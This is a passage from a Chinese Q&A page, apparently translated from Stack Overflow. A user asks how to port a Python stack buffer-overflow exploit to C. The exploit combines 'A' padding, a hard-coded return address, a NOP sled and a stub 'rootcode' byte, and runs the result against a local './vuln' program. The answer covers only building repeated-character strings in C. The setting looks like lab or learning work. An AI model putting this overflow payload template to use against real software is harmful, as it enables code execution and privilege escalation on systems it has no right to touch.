将Python程序转换为C:如何将字符乘以指定值并将其存储到变量中?

2024-05-19 14:13:35 发布

您现在位置:Python中文网/ 问答频道 /正文

需要将Python中的小型缓冲区溢出脚本转换为C的一般帮助。这是一项有点繁琐的工作,我正在努力获得正确的数据类型。我只需一个警告就可以编译所有内容:“初始化从整数生成指针,而不使用强制转换-char*buff=(“%0*I”,252,'a”);” 此行应该为变量buff提供252个“A”字符的值

我知道更改数据类型可以解决这个问题,但程序的其余部分依赖于溢出作为指针char*。 如果有任何人对我的任何部分的计划,他们将非常感谢任何提示

干杯,希夫

原始Python:

stack_addr = 0xbffff1d0
rootcode = "\x31"
def conv(num):
    return struct.pack("<I",num)
buff = "A" * 172 
buff += conv(stack_addr) 
buff += "\x90" * 30   
buff += rootcode  
buff += "A" * 22  
print "targetting vulnerable program"
call(["./vuln", buff])

转换的C代码:

//endianess convertion
int conv(int stack_addr)
{
    (stack_addr>>8) | (stack_addr<<8);
    return(0);
}

int main(int argc, char *argv[])
{
    int stack_addr = 0xbffff1d0;
    int rootcode = *"\x31" 
    char *buff = ("%0*i", 252, 'A'); //give buff the value of 252 'A's
    buff += conv(stack_addr); //endian conversion
    buff += ("%0*i", 30, '\x90'); //append buff variable with 30 '\x90' 
    buff = buff + rootcode; //append buff with value of rootcode variable
    buff += ("%0*i", 22, 'A'); //append buff with 22 'A's
}

Tags: returnstackwithnumbuffintaddr数据类型
1条回答
网友
1楼 · 发布于 2024-05-19 14:13:35

最简单的方法是手动编写包含所需字符数的字符串。使用您喜爱的文本编辑器的复制粘贴功能

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

您还可以使用for循环从单个字符构建它,如下所述。但是,您可以跳过构建长字符串的部分,并将单个字符直接附加到最终字符串。这可以通过两种方式完成:使用strcat和不使用strcat。第一种方法是稍微清洁一点:

char buff[400] = ""; // note: this should be an array, not a pointer!
// the array should be big enough to hold the final string; 400 seems enough
for (int i = 0; i < 252; i++)
    strcat(buff, "A"); // this part appends one string of length 1

函数strcat效率低下;每次将字符串"A"附加到字符串时,它都会计算该字符串的长度。您不需要速度,但如果您决定高效地编写,请不要使用strcat,并使用核心C语言将单个char(字节)附加到数组中:

char buff[400]; // note: this should be an array, not a pointer!
int pos = 0; // position at which to write data
for (int i = 0; i < 252; i++)
    buff[pos++] = 'A'; // this part appends one char 'A'; note single quotes
...
buff[pos++] = '\0'; // don't forget to terminate the string!

相关问题 更多 >